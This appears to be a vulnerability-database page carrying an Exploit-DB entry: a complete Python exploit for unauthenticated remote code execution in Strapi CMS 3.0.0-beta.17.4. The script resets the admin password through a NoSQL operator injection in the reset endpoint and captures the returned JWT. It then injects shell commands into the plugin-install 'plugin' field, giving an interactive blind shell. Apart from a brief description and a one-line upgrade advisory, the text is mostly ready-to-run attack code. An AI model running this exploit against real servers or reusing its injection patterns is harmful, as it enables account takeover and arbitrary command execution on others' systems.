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vendor:
Strapi CMS
by:
Musyoka Ian
7,2
CVSS
HIGH
Remote Code Execution (RCE)
78
CWE
Product Name: Strapi CMS
Affected Version From: 3.0.0-beta.17.4
Affected Version To: 3.0.0-beta.17.4
Patch Exists: YES
Related CWE: CVE-2019-18818, CVE-2019-19609
CPE: a:strapi:strapi_cms
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Ubuntu 20.04
2021

Strapi CMS 3.0.0-beta.17.4 – Remote Code Execution (RCE) (Unauthenticated)

This exploit allows an unauthenticated attacker to execute arbitrary code on the vulnerable Strapi CMS version 3.0.0-beta.17.4 or lower. The exploit works by resetting the password of the admin user and then using the JWT token to execute arbitrary code on the server. The exploit is tested on Ubuntu 20.04.

Mitigation:

Upgrade to the latest version of Strapi CMS and ensure that all security patches are applied.
Source

Exploit-DB raw data:

# Exploit Title: Strapi CMS 3.0.0-beta.17.4 - Remote Code Execution (RCE) (Unauthenticated)
# Date: 2021-08-30
# Exploit Author: Musyoka Ian
# Vendor Homepage: https://strapi.io/
# Software Link: https://strapi.io/
# Version: Strapi CMS version 3.0.0-beta.17.4 or lower
# Tested on: Ubuntu 20.04
# CVE : CVE-2019-18818, CVE-2019-19609

#!/usr/bin/env python3

import requests
import json
from cmd import Cmd
import sys

if len(sys.argv) != 2:
    print("[-] Wrong number of arguments provided")
    print("[*] Usage: python3 exploit.py <URL>\n")
    sys.exit()


class Terminal(Cmd):
    prompt = "$> "
    def default(self, args):
        code_exec(args)

def check_version():
    global url
    print("[+] Checking Strapi CMS Version running")
    version = requests.get(f"{url}/admin/init").text
    version = json.loads(version)
    version = version["data"]["strapiVersion"]
    if version == "3.0.0-beta.17.4":
        print("[+] Seems like the exploit will work!!!\n[+] Executing exploit\n\n")
    else:
        print("[-] Version mismatch trying the exploit anyway")


def password_reset():
    global url, jwt
    session = requests.session()
    params = {"code" : {"$gt":0},
            "password" : "SuperStrongPassword1",
            "passwordConfirmation" : "SuperStrongPassword1"
            }
    output = session.post(f"{url}/admin/auth/reset-password", json = params).text
    response = json.loads(output)
    jwt = response["jwt"]
    username = response["user"]["username"]
    email = response["user"]["email"]

    if "jwt" not in output:
        print("[-] Password reset unsuccessfull\n[-] Exiting now\n\n")
        sys.exit(1)
    else:
        print(f"[+] Password reset was successfully\n[+] Your email is: {email}\n[+] Your new credentials are: {username}:SuperStrongPassword1\n[+] Your authenticated JSON Web Token: {jwt}\n\n")
def code_exec(cmd):
    global jwt, url
    print("[+] Triggering Remote code executin\n[*] Rember this is a blind RCE don't expect to see output")
    headers = {"Authorization" : f"Bearer {jwt}"}
    data = {"plugin" : f"documentation && $({cmd})",
            "port" : "1337"}
    out = requests.post(f"{url}/admin/plugins/install", json = data, headers = headers)
    print(out.text)

if __name__ == ("__main__"):
    url = sys.argv[1]
    if url.endswith("/"):
        url = url[:-1]
    check_version()
    password_reset()
    terminal = Terminal()
    terminal.cmdloop()